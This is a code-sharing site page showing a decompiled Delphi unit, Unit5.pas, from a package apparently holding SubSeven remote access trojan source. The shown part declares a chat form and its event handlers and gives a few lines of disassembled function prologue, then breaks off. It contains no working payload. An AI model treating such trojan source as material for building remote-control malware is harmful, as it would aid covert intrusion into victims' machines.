Category

Development Platform
Home > SourceCode/Document > Internet-Socket-Network > Remote Control > View Code
Unit5.pas
Package: subseven_src.zip　[view]
Upload User: gdszzsp
Upload Date: 2007-01-08
Package Size: 621k
Code Size: 15k
Category:

Remote Control

Development Platform:

Delphi

Unit5.pas：Code Content
  1. unit Unit5;
  3. interface
  5. uses
  6.   Windows, Messages, SysUtils, Classes, Graphics,
  7.   Controls, Forms, Dialogs, ExtCtrls, StdCtrls, ComCtrls;
  9. type
  10.   TMyChat=class(TForm)
  11.     Bevel1: TBevel;
  12.     Edit1: TEdit;
  13.     Button1: TButton;
  14.     MyMemo: TRichEdit;
  15.     Timer: TTimer;
  16.     Timer2: TTimer;
  17.     procedure Button1Click(Sender: TObject);
  18.     procedure Edit1KeyPress(Sender: TObject; var Key: Char);
  19.     procedure FormActivate(Sender: TObject);
  20.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  21.     procedure FormCreate(Sender: TObject);
  22.     procedure FormPaint(Sender: TObject);
  23.     procedure FormResize(Sender: TObject);
  24.     procedure MyMemoChange(Sender: TObject);
  25.     procedure Timer2Timer(Sender: TObject);
  26.     procedure TimerTimer(Sender: TObject);
  27.   private
  28.     { Private declarations }
  29.   public
  30.     { Public declarations }
  31.   end ;
  33. var
  34.   MyChat: TMyChat;
  37. {This file is generated by DeDe v2.34 (c) 1999 by DaFixer}
  39. implementation
  41. {$R *.DFM}
  44. procedure TMyChat.Button1Click(Sender: TObject);
  45. begin
  46. {
  47. 004B3E2C   55                     push    ebp
  48. 004B3E2D   8BEC                   mov     ebp, esp
  49. 004B3E2F   83C4EC                 add     esp, -$14
  50. 004B3E32   53                     push    ebx
  51. 004B3E33   56                     push    esi
  52. 004B3E34   57                     push    edi
  53. 004B3E35   33C9                   xor     ecx, ecx
  54. 004B3E37   894DEC                 mov     [ebp-$14], ecx
  55. 004B3E3A   894DF0                 mov     [ebp-$10], ecx
  56. 004B3E3D   8945FC                 mov     [ebp-$04], eax
  57. 004B3E40   33C0                   xor     eax, eax
  58. 004B3E42   55                     push    ebp
  60. * Possible String Reference to: "